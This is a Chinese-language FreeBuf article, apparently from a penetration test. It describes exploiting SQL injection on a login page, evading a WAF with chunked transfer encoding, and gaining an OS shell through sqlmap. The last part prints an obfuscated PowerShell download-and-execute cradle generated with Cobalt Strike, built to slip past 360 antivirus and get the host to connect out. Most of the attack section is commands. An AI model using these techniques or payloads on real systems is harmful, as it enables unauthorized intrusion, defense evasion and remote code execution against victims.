官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
收到某某测试任务,然后有了下面这一篇关于分块传输sql注入payload姿势分享以及绕过杀软上线的文章。
在对某个网站进行渗透测试时,发现一个登陆界面,在尝试弱口令无果后,加个单引号发现报错了,按照以往的经验,这个登陆界面大概率是存在注入漏洞的。
尝试利用报错注入,直接获取到数据库名称,这一看注入不就是有了吗(这里构造万能密码进行登录绕过,发现行不通),看看使用sqlmap能不能直接获取到服务器权限。
然而使用sqlmap并没有跑出来注入,不知道是什么情况,这里怀疑是网站对某些关键字符进行过滤拦截了,尝试使用分块传输进行绕过。
这里稍微说一下分块传输的原理:
- 在头部加入 Transfer-Encoding: chunked 之后,就代表该报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。
- 使用分块后,默认的请求包头数据会增加请求头,告诉服务器将要用分块传输,语句经过拆分,变为零碎的数据包,WAF检测机制就不会认为此语句是一个危险的代码,在分块传输的数据包没有完全传完的时候,服务器是不做任何响应,等到全部传完后,在后台进行完整的语句拼接,带入数据库查询,从而绕过WAF的限制。
- 简单的来说就是把数据包分成一块一块的传过去,从而来骗过WAF。
在burp上直接利用chunked-coding-converter插件进行测试,发现分块传输是可行的。
那就直接使用sqlmap将流量代理到burp上使用分块传输进行绕过,成功获取到服务器权限:
sqlmap -r sql.txt --proxy=http://127.0.0.1:8080 --level 5 --os-shell --thread 5
已经获取到了服务器权限,经测试发现目标主机可以出网,那就可以直接上线了,在上线之前先查看一下主机进程发现存在360杀毒。
这个时候想上线,肯定是要想办法绕过360的,这里使用CS来生产powershell脚本,对命令进行格式运算符混淆一下来绕过杀软。
&("{1}{0}" -f 'ami','who') #执行whoami
powershell.exe -nop -c "&('{1}{0}' -f 'EX','I')(&('{1}{0}{2}' -f 'Obje','New-','ct')('{1}{4}{3}{0}{2}' -f'Clie','N','nt','t.Web','e')).('{1}{3}{0}{2}' -f 'trin','Downl','g','oadS').Invoke(('{1}{5}{2}{4}{3}{0}' -f 'x','xx','x','xxx','xxx','xxx'))"
成功绕过杀软上线成功。